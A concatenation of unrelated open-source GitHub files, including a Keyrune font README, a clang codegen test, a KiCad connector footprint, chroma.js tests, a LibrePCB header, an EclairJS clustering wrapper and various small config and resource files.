<data name="Label1.Size" type="System.Drawing.Size, System.Drawing">
<value>80, 13</value>
</data>
<data name="Label1.Text" xml:space="preserve">
<value>Outlet Stream 2</value>
</data>
<data name="btnDisconnectEnergy.ToolTip" xml:space="preserve">
<value>Disconnect</value>
</data>
<data name="btnDisconnectEnergy.ToolTip1" xml:space="preserve">
<value />
</data>
<data name="Label14.Size" type="System.Drawing.Size, System.Drawing">
<value>76, 13</value>
</data>
<data name="Label14.Text" xml:space="preserve">
<value>Energy Stream</value>
</data>
<data name="btnDisconnectOutlet1.ToolTip" xml:space="preserve">
<value>Disconnect</value>
</data>
<data name="btnDisconnectOutlet1.ToolTip1" xml:space="preserve">
<value />
</data>
<data name="btnDisconnect1.ToolTip" xml:space="preserve">
<value>Disconnect</value>
</data>
<data name="btnDisconnect1.ToolTip1" xml:space="preserve">
<value />
</data>
<data name="Label7.Size" type="System.Drawing.Size, System.Drawing">
<value>80, 13</value>
</data>
<data name="Label7.Text" xml:space="preserve">
<value>Outlet Stream 1</value>
</data>
<data name="Label19.Size" type="System.Drawing.Size, System.Drawing">
<value>63, 13</value>
</data>
<data name="Label19.Text" xml:space="preserve">
<value>Inlet Stream</value>
</data>
<data name="GroupBox1.Text" xml:space="preserve">
<value>Connections</value>
</data>
<data name="Column2.HeaderText" xml:space="preserve">
<value>Compound</value>
</data>
<data name="Column3.HeaderText" xml:space="preserve">
<value>Spec</value>
</data>
<data name="Column4.HeaderText" xml:space="preserve">
<value>Value</value>
</data>
<data name="Column5.HeaderText" xml:space="preserve">
<value>Units</value>
</data>
<data name="GroupBox6.Text" xml:space="preserve">
<value>Separation Factors</value>
</data>
</root> | {
"pile_set_name": "Github"
} |
# Keyrune v3.7.0
## The Magic: the Gathering set symbol font!
**Heads up:** the documentation page has been moved to [keyrune.andrewgioia.com](https://keyrune.andrewgioia.com)!
Keyrune is the first suite of complete Magic: the Gathering expansion and set symbols as a pictographic font. You can use this font anywhere you want to display set symbols—in your MtG app or website, documents, card images, anything!
## Usage
Each set symbol has its own font character. Display them in a manner similar to [Font Awesome](http://fontawesome.io) using the `<i class="ss ss-exp"></i>` element. Class name codes are based on the expansion codes from [MTG JSON](http://mtgjson.com).
To use Keyrune via source, NPM, or Bower, move the font files to your `/fonts` directory and include the keyrune.css stylesheet in your `<head>`:
```html
<link href="css/keyrune.css" rel="stylesheet" type="text/css" />
```
**NEW:** you can now include Keyrune via CDN thanks to the amazing [jsDelivr](http://jsdelivr.com) project! To include the latest version, reference:
```html
<link href="//cdn.jsdelivr.net/npm/keyrune@latest/css/keyrune.css" rel="stylesheet" type="text/css" />
```
**Note:** as of v3.1.1 (June 2017) the URL format for jsDelivr changed to the above. They still maintain backwards compatibility for everything prior to that but going forward please use the above URL. You no longer need to explicitly include the font-family via `@font-face` as well, but if you still would like to here is the css ruleset:
```css
@font-face {
font-family: 'Keyrune';
src: url('//cdn.jsdelivr.net/npm/keyrune@latest/fonts/keyrune.eot');
src: url('//cdn.jsdelivr.net/npm/keyrune@latest/fonts/keyrune.eot?#iefix') format('embedded-opentype'),
url('//cdn.jsdelivr.net/npm/keyrune@latest/fonts/keyrune.woff2') format('woff2'),
url('//cdn.jsdelivr.net/npm/keyrune@latest/fonts/keyrune.woff') format('woff'),
url('//cdn.jsdelivr.net/npm/keyrune@latest/fonts/keyrune.ttf') format('truetype'),
url('//cdn.jsdelivr.net/npm/keyrune@latest/fonts/keyrune.svg') format('svg');
font-weight: normal;
font-style: normal;
}
```
## Editing the Source
Feel free to edit the source files and compile Keyrune to fit your needs. Currently LESS is supported, with Sass coming soon.
## Using Keyrune on the Desktop
To copy Keyrune symbols into your desktop software (or access to vectors directly), go to the [Cheatsheet](http://andrewgioia.github.io/Keyrune/cheatsheet.html) on the documentation site, copy the character (not the unicode representation), and then paste it into your desktop application after installing keyrune.ttf.
If you're having trouble and want step-by-step instructions and a [sample Word document](https://www.dropbox.com/s/gp45uuuejfy089n/Keyrune_desktop_example.docx?dl=1) to use, head on over to the [documentation page](https://andrewgioia.github.io/Keyrune)!
## License
All set symbol images are trademarks of Wizards of the Coast ([http://magicthegathering.com](http://magicthegathering.com)). Please see the LICENSE.md file for a complete description of the licenses that Keyrune is distributed under. Public attribution is **greatly appreciated** but not required!
## Changelog
The Changelog and todo items have been moved to a dedicated file, CHANGELOG.md. | {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 %s -emit-llvm -triple x86_64-apple-macosx10.13.0 -o - | FileCheck %s --check-prefixes=CHECK,NO_EXCEPTIONS
// RUN: %clang_cc1 -fexceptions %s -emit-llvm -triple x86_64-apple-macosx10.13.0 -o - | FileCheck %s --check-prefixes=CHECK,EXCEPTIONS
struct NonTrivial {
~NonTrivial();
};
// CHECK-LABEL: define internal void @__cxx_global_var_init
// CHECK-NOT: __cxa_atexit{{.*}}_ZN10NonTrivialD1Ev
[[clang::no_destroy]] NonTrivial nt1;
// CHECK-LABEL: define internal void @__cxx_global_var_init
// CHECK-NOT: _tlv_atexit{{.*}}_ZN10NonTrivialD1Ev
[[clang::no_destroy]] thread_local NonTrivial nt2;
struct NonTrivial2 {
~NonTrivial2();
};
// CHECK-LABEL: define internal void @__cxx_global_var_init
// CHECK: __cxa_atexit{{.*}}_ZN11NonTrivial2D1Ev
NonTrivial2 nt21;
// CHECK-LABEL: define internal void @__cxx_global_var_init
// CHECK: _tlv_atexit{{.*}}_ZN11NonTrivial2D1Ev
thread_local NonTrivial2 nt22;
// CHECK-LABEL: define void @_Z1fv
void f() {
// CHECK: __cxa_atexit{{.*}}_ZN11NonTrivial2D1Ev
static NonTrivial2 nt21;
// CHECK: _tlv_atexit{{.*}}_ZN11NonTrivial2D1Ev
thread_local NonTrivial2 nt22;
}
// CHECK-LABEL: define void @_Z1gv
void g() {
// CHECK-NOT: __cxa_atexit
[[clang::no_destroy]] static NonTrivial2 nt21;
// CHECK-NOT: _tlv_atexit
[[clang::no_destroy]] thread_local NonTrivial2 nt22;
}
// CHECK-LABEL: define internal void @__cxx_global_var_init
// CHECK: __cxa_atexit{{.*}}_ZN10NonTrivialD1Ev
[[clang::always_destroy]] NonTrivial nt3;
// CHECK-LABEL: define internal void @__cxx_global_var_init
// CHECK: _tlv_atexit{{.*}}_ZN10NonTrivialD1Ev
[[clang::always_destroy]] thread_local NonTrivial nt4;
struct NonTrivial3 {
NonTrivial3();
~NonTrivial3();
};
[[clang::no_destroy]] NonTrivial3 arr[10];
// CHECK-LABEL: define internal void @__cxx_global_var_init
// CHECK: {{invoke|call}} void @_ZN11NonTrivial3C1Ev
// EXCEPTIONS: call void @_ZN11NonTrivial3D1Ev
// NO_EXCEPTIONS-NOT: call void @_ZN11NonTrivial3D1Ev
// CHECK-NOT: call i32 @__cxa_atexit
void h() {
[[clang::no_destroy]] static NonTrivial3 slarr[10];
}
// CHECK-LABEL: define void @_Z1hv
// CHECK: {{invoke|call}} void @_ZN11NonTrivial3C1Ev
// EXCEPTIONS: call void @_ZN11NonTrivial3D1Ev
// NO_EXCEPTIONS-NOT: call void @_ZN11NonTrivial3D1Ev
// CHECK-NOT: call i32 @__cxa_atexit
void i() {
[[clang::no_destroy]] thread_local NonTrivial3 tlarr[10];
}
// CHECK-LABEL: define void @_Z1iv
// CHECK: {{invoke|call}} void @_ZN11NonTrivial3C1Ev
// EXCEPTIONS: call void @_ZN11NonTrivial3D1Ev
// NO_EXCEPTIONS-NOT: call void @_ZN11NonTrivial3D1Ev
// CHECK-NOT: _tlv_atexit
| {
"pile_set_name": "Github"
} |
// Copyright (c) MOSA Project. Licensed under the New BSD License.
namespace System.Collections
{
/// <summary>
/// Interface for "System.Collections.IStructuralComparable"
/// </summary>
public interface IStructuralComparable
{
int CompareTo(object other, IComparer comparer);
}
}
| {
"pile_set_name": "Github"
} |
__all__ = [
"TimeSeriesForestRegressor"
]
from sktime.regression.compose._ensemble import TimeSeriesForestRegressor
| {
"pile_set_name": "Github"
} |
(module DSUB-37_Female_Vertical_P2.77x2.84mm (layer F.Cu) (tedit 59FEDEE2)
(descr "37-pin D-Sub connector, straight/vertical, THT-mount, female, pitch 2.77x2.84mm, distance of mounting holes 63.5mm, see https://disti-assets.s3.amazonaws.com/tonar/files/datasheets/16730.pdf")
(tags "37-pin D-Sub connector straight vertical THT female pitch 2.77x2.84mm mounting holes distance 63.5mm")
(fp_text reference REF** (at -24.93 -5.89) (layer F.SilkS)
(effects (font (size 1 1) (thickness 0.15)))
)
(fp_text value DSUB-37_Female_Vertical_P2.77x2.84mm (at -24.93 8.73) (layer F.Fab)
(effects (font (size 1 1) (thickness 0.15)))
)
(fp_arc (start -58.63 -3.83) (end -59.63 -3.83) (angle 90.000000) (layer F.Fab) (width 0.1))
(fp_arc (start 8.77 -3.83) (end 8.77 -4.83) (angle 90.000000) (layer F.Fab) (width 0.1))
(fp_arc (start -58.63 6.67) (end -59.63 6.67) (angle -90.000000) (layer F.Fab) (width 0.1))
(fp_arc (start 8.77 6.67) (end 9.77 6.67) (angle 90.000000) (layer F.Fab) (width 0.1))
(fp_arc (start -58.63 -3.83) (end -59.69 -3.83) (angle 90.000000) (layer F.SilkS) (width 0.12))
(fp_arc (start 8.77 -3.83) (end 8.77 -4.89) (angle 90.000000) (layer F.SilkS) (width 0.12))
(fp_arc (start -58.63 6.67) (end -59.69 6.67) (angle -90.000000) (layer F.SilkS) (width 0.12))
(fp_arc (start 8.77 6.67) (end 9.83 6.67) (angle 90.000000) (layer F.SilkS) (width 0.12))
(fp_arc (start -50.423194 -0.93) (end -50.423194 -2.53) (angle -100.000000) (layer F.Fab) (width 0.1))
(fp_arc (start 0.563194 -0.93) (end 0.563194 -2.53) (angle 100.000000) (layer F.Fab) (width 0.1))
(fp_arc (start -49.594457 3.77) (end -49.594457 5.37) (angle 80.000000) (layer F.Fab) (width 0.1))
(fp_arc (start -0.265543 3.77) (end -0.265543 5.37) (angle -80.000000) (layer F.Fab) (width 0.1))
(fp_arc (start -50.411689 -0.93) (end -50.411689 -2.59) (angle -100.000000) (layer F.SilkS) (width 0.12))
(fp_arc (start 0.551689 -0.93) (end 0.551689 -2.59) (angle 100.000000) (layer F.SilkS) (width 0.12))
(fp_arc (start -49.582952 3.77) (end -49.582952 5.43) (angle 80.000000) (layer F.SilkS) (width 0.12))
(fp_arc (start -0.277048 3.77) (end -0.277048 5.43) (angle -80.000000) (layer F.SilkS) (width 0.12))
(fp_line (start -58.63 -4.83) (end 8.77 -4.83) (layer F.Fab) (width 0.1))
(fp_line (start 9.77 -3.83) (end 9.77 6.67) (layer F.Fab) (width 0.1))
(fp_line (start 8.77 7.67) (end -58.63 7.67) (layer F.Fab) (width 0.1))
(fp_line (start -59.63 6.67) (end -59.63 -3.83) (layer F.Fab) (width 0.1))
(fp_line (start -58.63 -4.89) (end 8.77 -4.89) (layer F.SilkS) (width 0.12))
(fp_line (start 9.83 -3.83) (end 9.83 6.67) (layer F.SilkS) (width 0.12))
(fp_line (start 8.77 7.73) (end -58.63 7.73) (layer F.SilkS) (width 0.12))
(fp_line (start -59.69 6.67) (end -59.69 -3.83) (layer F.SilkS) (width 0.12))
(fp_line (start -0.25 -5.784338) (end 0.25 -5.784338) (layer F.SilkS) (width 0.12))
(fp_line (start 0.25 -5.784338) (end 0 -5.351325) (layer F.SilkS) (width 0.12))
(fp_line (start 0 -5.351325) (end -0.25 -5.784338) (layer F.SilkS) (width 0.12))
(fp_line (start -50.423194 -2.53) (end 0.563194 -2.53) (layer F.Fab) (width 0.1))
(fp_line (start -49.594457 5.37) (end -0.265543 5.37) (layer F.Fab) (width 0.1))
(fp_line (start 2.138887 -0.652163) (end 1.31015 4.047837) (layer F.Fab) (width 0.1))
(fp_line (start -51.998887 -0.652163) (end -51.17015 4.047837) (layer F.Fab) (width 0.1))
(fp_line (start -50.411689 -2.59) (end 0.551689 -2.59) (layer F.SilkS) (width 0.12))
(fp_line (start -49.582952 5.43) (end -0.277048 5.43) (layer F.SilkS) (width 0.12))
(fp_line (start 2.18647 -0.641744) (end 1.357733 4.058256) (layer F.SilkS) (width 0.12))
(fp_line (start -52.04647 -0.641744) (end -51.217733 4.058256) (layer F.SilkS) (width 0.12))
(fp_line (start -60.15 -5.35) (end -60.15 8.2) (layer F.CrtYd) (width 0.05))
(fp_line (start -60.15 8.2) (end 10.3 8.2) (layer F.CrtYd) (width 0.05))
(fp_line (start 10.3 8.2) (end 10.3 -5.35) (layer F.CrtYd) (width 0.05))
(fp_line (start 10.3 -5.35) (end -60.15 -5.35) (layer F.CrtYd) (width 0.05))
(pad 1 thru_hole rect (at 0 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 2 thru_hole circle (at -2.77 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 3 thru_hole circle (at -5.54 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 4 thru_hole circle (at -8.31 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 5 thru_hole circle (at -11.08 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 6 thru_hole circle (at -13.85 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 7 thru_hole circle (at -16.62 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 8 thru_hole circle (at -19.39 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 9 thru_hole circle (at -22.16 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 10 thru_hole circle (at -24.93 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 11 thru_hole circle (at -27.7 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 12 thru_hole circle (at -30.47 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 13 thru_hole circle (at -33.24 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 14 thru_hole circle (at -36.01 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 15 thru_hole circle (at -38.78 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 16 thru_hole circle (at -41.55 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 17 thru_hole circle (at -44.32 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 18 thru_hole circle (at -47.09 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 19 thru_hole circle (at -49.86 0) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 20 thru_hole circle (at -1.385 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 21 thru_hole circle (at -4.155 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 22 thru_hole circle (at -6.925 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 23 thru_hole circle (at -9.695 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 24 thru_hole circle (at -12.465 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 25 thru_hole circle (at -15.235 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 26 thru_hole circle (at -18.005 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 27 thru_hole circle (at -20.775 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 28 thru_hole circle (at -23.545 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 29 thru_hole circle (at -26.315 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 30 thru_hole circle (at -29.085 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 31 thru_hole circle (at -31.855 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 32 thru_hole circle (at -34.625 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 33 thru_hole circle (at -37.395 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 34 thru_hole circle (at -40.165 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 35 thru_hole circle (at -42.935 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 36 thru_hole circle (at -45.705 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(pad 37 thru_hole circle (at -48.475 2.84) (size 1.6 1.6) (drill 1) (layers *.Cu *.Mask))
(fp_text user %R (at -24.93 1.42) (layer F.Fab)
(effects (font (size 1 1) (thickness 0.15)))
)
(model ${KISYS3DMOD}/Connector_Dsub.3dshapes/DSUB-37_Female_Vertical_P2.77x2.84mm.wrl
(at (xyz 0 0 0))
(scale (xyz 1 1 1))
(rotate (xyz 0 0 0))
)
) | {
"pile_set_name": "Github"
} |
<resources>
<!--BitmapNotification-->
<string name="image_generator_press_start">Auf dem Gerät START tippen</string>
<string name="image_generator_go_to_new_address">Bitte neue Adresse aufrufen</string>
<string name="image_generator_reload_this_page">Bitte laden Sie die Seite neu</string>
<!--HTML text-->
<string name="html_stream_require_pin">Dieser Stream benötigt einen Pin für den Zugriff</string>
<string name="html_enter_pin">Pin eingeben:\u0020</string>
<string name="html_four_digits">Vier Zeichen</string>
<string name="html_submit_text">Senden</string>
<string name="html_wrong_pin">Falscher Pin!</string>
</resources>
| {
"pile_set_name": "Github"
} |
require 'es6-shim'
vows = require 'vows'
assert = require 'assert'
chroma = require '../chroma'
vows
.describe('Some tests for chroma.limits()')
.addBatch
'simple continuous domain':
topic: -> chroma.limits [1,2,3,4,5], 'continuous'
'domain': (topic) -> assert.deepEqual topic, [1,5]
'continuous domain, negative values':
topic: -> chroma.limits [1,-2, -3,4,5], 'continuous'
'domain': (topic) -> assert.deepEqual topic, [-3,5]
'continuous domain, null values':
topic: -> chroma.limits [1, undefined, null, 4, 5], 'continuous'
'domain': (topic) -> assert.deepEqual topic, [1,5]
'equidistant domain':
topic: -> chroma.limits [0,10], 'equidistant', 5
'domain': (topic) -> assert.deepEqual topic, [0, 2, 4, 6, 8, 10]
'equidistant domain, NaN values':
topic: -> chroma.limits [0,9,3,6,3,5,undefined,Number.NaN,10], 'equidistant', 5
'domain': (topic) -> assert.deepEqual topic, [0, 2, 4, 6, 8, 10]
'logarithmic domain':
topic: -> chroma.limits [1,10000], 'log', 4
'domain': (topic) -> assert.deepEqual topic, [1, 10, 100, 1000, 10000]
'logarithmic domain - non-positive values':
topic: -> [-1,10000]
'domain': (topic) ->
assert.throws () ->
chroma.limits topic, 'log', 4
, 'Logarithmic scales are only possible for values > 0'
'quantiles domain':
topic: -> chroma.limits [1,2,3,4,5,10,20,100], 'quantiles', 2
'domain': (topic) -> assert.deepEqual topic, [1, 5, 100]
.export(module) | {
"pile_set_name": "Github"
} |
/*
* LibrePCB - Professional EDA for everyone!
* Copyright (C) 2013 LibrePCB Developers, see AUTHORS.md for contributors.
* https://librepcb.org/
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef LIBREPCB_ATTRIBUTEKEY_H
#define LIBREPCB_ATTRIBUTEKEY_H
/*******************************************************************************
* Includes
******************************************************************************/
#include "../fileio/sexpression.h"
#include "../toolbox.h"
#include <type_safe/constrained_type.hpp>
#include <QtCore>
/*******************************************************************************
* Namespace / Forward Declarations
******************************************************************************/
namespace librepcb {
/*******************************************************************************
* Class AttributeKey
******************************************************************************/
inline static QString cleanAttributeKey(const QString& userInput) noexcept {
return Toolbox::cleanUserInputString(
userInput, QRegularExpression("[^_0-9A-Z]"), true, false, true, "_", 40);
}
struct AttributeKeyVerifier {
template <typename Value, typename Predicate>
static constexpr auto verify(Value&& val, const Predicate& p) ->
typename std::decay<Value>::type {
return p(val)
? std::forward<Value>(val)
: (throw RuntimeError(
__FILE__, __LINE__,
QString(QApplication::translate("AttributeKey",
"Invalid attribute key: '%1'"))
.arg(val)),
std::forward<Value>(val));
}
};
struct AttributeKeyConstraint {
bool operator()(const QString& value) const noexcept {
return QRegularExpression("\\A[_0-9A-Z]{1,40}\\z")
.match(value, 0, QRegularExpression::PartialPreferCompleteMatch)
.hasMatch();
}
};
/**
* AttributeKey is a wrapper around QString which guarantees to contain a valid
* key for librepcb::Attribute.
*
* An attribute key is considered as valid if it:
* - contains minimum 1 and maximum 40 characters
* - only contains the characters [A-Z] (uppercase), [0-9] or [_] (underscore)
*
* The constructor throws an exception if constructed from a QString which is
* not a valid attribute key according these rules.
*/
using AttributeKey =
type_safe::constrained_type<QString, AttributeKeyConstraint,
AttributeKeyVerifier>;
inline bool operator==(const AttributeKey& lhs, const QString& rhs) noexcept {
return (*lhs) == rhs;
}
inline bool operator==(const QString& lhs, const AttributeKey& rhs) noexcept {
return lhs == (*rhs);
}
inline bool operator!=(const AttributeKey& lhs, const QString& rhs) noexcept {
return (*lhs) != rhs;
}
inline bool operator!=(const QString& lhs, const AttributeKey& rhs) noexcept {
return lhs != (*rhs);
}
template <>
inline SExpression serializeToSExpression(const AttributeKey& obj) {
return SExpression::createString(*obj);
}
template <>
inline AttributeKey deserializeFromSExpression(const SExpression& sexpr,
bool throwIfEmpty) {
return AttributeKey(sexpr.getStringOrToken(throwIfEmpty)); // can throw
}
inline QDataStream& operator<<(QDataStream& stream, const AttributeKey& obj) {
stream << *obj;
return stream;
}
inline QDebug operator<<(QDebug stream, const AttributeKey& obj) {
stream << QString("AttributeKey('%1'')").arg(*obj);
return stream;
}
inline uint qHash(const AttributeKey& key, uint seed = 0) noexcept {
return ::qHash(*key, seed);
}
/*******************************************************************************
* End of File
******************************************************************************/
} // namespace librepcb
#endif // LIBREPCB_ATTRIBUTEKEY_H
| {
"pile_set_name": "Github"
} |
using Ko.Navigation.CefGlue.Tests.Infra;
using Tests.Universal.NavigationTests;
using Xunit;
using Xunit.Abstractions;
namespace Ko.Navigation.CefGlue.Tests
{
[Collection("Cef Window Integrated")]
public class DoubleNavigation_Ko_Cef_Tests : DoubleNavigationTests
{
public DoubleNavigation_Ko_Cef_Tests(CefGlueKoContext context, ITestOutputHelper testOutputHelper) :
base(context, testOutputHelper)
{
}
}
}
| {
"pile_set_name": "Github"
} |
# SPDX-License-Identifier: GPL-2.0
#
# Makefile for ALSA
# Copyright (c) 2001 by Jaroslav Kysela <[email protected]>
#
snd-i2c-objs := i2c.o
snd-cs8427-objs := cs8427.o
snd-tea6330t-objs := tea6330t.o
obj-$(CONFIG_SND) += other/
# Toplevel Module Dependency
obj-$(CONFIG_SND_INTERWAVE_STB) += snd-tea6330t.o snd-i2c.o
obj-$(CONFIG_SND_ICE1712) += snd-cs8427.o snd-i2c.o
obj-$(CONFIG_SND_ICE1724) += snd-i2c.o
| {
"pile_set_name": "Github"
} |
package cc.redpen.util;
import java.util.function.Predicate;
import static java.lang.Math.min;
public class LanguageDetector {
public String detectLanguage(String text) {
if (has(text, StringUtils::isProbablyJapanese)) {
boolean zenkaku = text.indexOf('。') >= 0 || text.indexOf('、') >= 0 || text.indexOf('!') >= 0 || text.indexOf('?') >= 0;
boolean zenkaku2 = text.indexOf('.') >= 0 || text.indexOf(',') >= 0;
boolean hankaku = text.indexOf('.') >= 0 || text.indexOf(',') >= 0 || text.indexOf('!') >= 0 || text.indexOf('?') >= 0;
return zenkaku ? "ja" :
zenkaku2 ? "ja.zenkaku2" :
hankaku ? "ja.hankaku":
"ja";
}
else if (has(text, StringUtils::isCyrillic)) {
return "ru";
} else if (has(text, StringUtils::isKorean)) {
return "ko";
}
return "en";
}
private boolean has(String text, Predicate<Character> func) {
char[] chars = text.toCharArray();
for (int i = 0; i < min(chars.length, 100); i++) {
char c = chars[i];
if (func.test(c)) return true;
}
return false;
}
}
| {
"pile_set_name": "Github"
} |
// Stacked Icons
// -------------------------
.#{$fa-css-prefix}-stack {
position: relative;
display: inline-block;
width: 2em;
height: 2em;
line-height: 2em;
vertical-align: middle;
}
.#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x {
position: absolute;
left: 0;
width: 100%;
text-align: center;
}
.#{$fa-css-prefix}-stack-1x { line-height: inherit; }
.#{$fa-css-prefix}-stack-2x { font-size: 2em; }
.#{$fa-css-prefix}-inverse { color: $fa-inverse; }
| {
"pile_set_name": "Github"
} |
https https://www.cs.utexas.edu/users/mfkb/km/km-latest.tgz
| {
"pile_set_name": "Github"
} |
package common
import (
"testing"
)
func TestBresenhamSlope1(t *testing.T) {
t.Fatalf("%v", DrawLineOnCells(5, 5, 10, 15, 20, 20))
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2016 IBM Corp.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
(function () {
var JavaWrapper = require(EclairJS_Globals.NAMESPACE + '/JavaWrapper');
var Logger = require(EclairJS_Globals.NAMESPACE + '/Logger');
var Utils = require(EclairJS_Globals.NAMESPACE + '/Utils');
var BisectingKMeansModel = require(EclairJS_Globals.NAMESPACE + '/mllib/clustering/BisectingKMeansModel');
/**
* A bisecting k-means algorithm based on the paper "A comparison of document clustering techniques"
* by Steinbach, Karypis, and Kumar, with modification to fit Spark.
* The algorithm starts from a single cluster that contains all points.
* Iteratively it finds divisible clusters on the bottom level and bisects each of them using
* k-means, until there are `k` leaf clusters in total or no leaf clusters are divisible.
* The bisecting steps of clusters on the same level are grouped together to increase parallelism.
* If bisecting all divisible clusters on the bottom level would result more than `k` leaf clusters,
* larger clusters get higher priority.
*
* @param k the desired number of leaf clusters (default: 4). The actual number could be smaller if
* there are no divisible leaf clusters.
* @param maxIterations the max number of k-means iterations to split clusters (default: 20)
* @param minDivisibleClusterSize the minimum number of points (if >= 1.0) or the minimum proportion
* of points (if < 1.0) of a divisible cluster (default: 1)
* @param seed a random seed (default: hash value of the class name)
*
* @see [[http://glaros.dtc.umn.edu/gkhome/fetch/papers/docclusterKDDTMW00.pdf
* Steinbach, Karypis, and Kumar, A comparison of document clustering techniques,
* KDD Workshop on Text Mining, 2000.]]
* @classdesc
*/
/**
* Constructs with the default configuration
* @class
* @memberof module:eclairjs/mllib/clustering
*/
var BisectingKMeans = function(jvmObject) {
this.logger = Logger.getLogger("BisectingKMeans_js");
if (!jvmObject) {
jvmObject = new org.apache.spark.mllib.clustering.BisectingKMeans();
}
JavaWrapper.call(this, jvmObject);
};
BisectingKMeans.prototype = Object.create(JavaWrapper.prototype);
BisectingKMeans.prototype.constructor = BisectingKMeans;
/**
* Sets the desired number of leaf clusters (default: 4).
* The actual number could be smaller if there are no divisible leaf clusters.
* @param {integer} k
* @returns {module:eclairjs/mllib/clustering.BisectingKMeans}
*/
BisectingKMeans.prototype.setK = function(k) {
var javaObject = this.getJavaObject().setK(k);
return new BisectingKMeans(javaObject);
};
/**
* Gets the desired number of leaf clusters.
* @returns {integer}
*/
BisectingKMeans.prototype.getK = function() {
return this.getJavaObject().getK();
};
/**
* Sets the max number of k-means iterations to split clusters (default: 20).
* @param {number} maxIterations
* @returns {module:eclairjs/mllib/clustering.BisectingKMeans}
*/
BisectingKMeans.prototype.setMaxIterations = function(maxIterations) {
var inter = maxIterations ? maxIterations : null;
var javaObject = this.getJavaObject().setMaxIterations(inter);
return new BisectingKMeans(javaObject);
};
/**
* Gets the max number of k-means iterations to split clusters.
* @returns {int}
*/
BisectingKMeans.prototype.getMaxIterations = function() {
return this.getJavaObject().getMaxIterations();
};
/**
* Sets the minimum number of points (if >= `1.0`) or the minimum proportion of points
* (if < `1.0`) of a divisible cluster (default: 1).
* @param {float} minDivisibleClusterSize
* @returns {module:eclairjs/mllib/clustering.BisectingKMeans}
*/
BisectingKMeans.prototype.setMinDivisibleClusterSize = function(minDivisibleClusterSize) {
var javaObject = this.getJavaObject().setMinDivisibleClusterSize(minDivisibleClusterSize);
return new BisectingKMeans(javaObject);
};
/**
* Gets the minimum number of points (if >= `1.0`) or the minimum proportion of points
* (if < `1.0`) of a divisible cluster.
* @returns {float}
*/
BisectingKMeans.prototype.getMinDivisibleClusterSize = function() {
return this.getJavaObject().getMinDivisibleClusterSize();
};
/**
* Sets the random seed (default: hash value of the class name).
* @param {integer} seed
* @returns {module:eclairjs/mllib/clustering.BisectingKMeans}
*/
BisectingKMeans.prototype.setSeed = function(seed) {
var javaObject = this.getJavaObject().setSeed(seed);
return new BisectingKMeans(javaObject);
};
/**
* Gets the random seed.
* @returns {integer}
*/
BisectingKMeans.prototype.getSeed = function() {
return this.getJavaObject().getSeed();
};
/**
* Runs the bisecting k-means algorithm.
* @param {module:eclairjs.RDD} input RDD of vectors
* @returns {BisectingKMeansModel} model for the bisecting kmeans
*/
BisectingKMeans.prototype.run = function(input) {
var input_uw = Utils.unwrapObject(input);
var javaObject = this.getJavaObject().run(input_uw);
return new BisectingKMeansModel(javaObject);
};
module.exports = BisectingKMeans;
})();
| {
"pile_set_name": "Github"
} |
var convert = require('./convert'),
func = convert('upperCase', require('../upperCase'), require('./_falseOptions'));
func.placeholder = require('./placeholder');
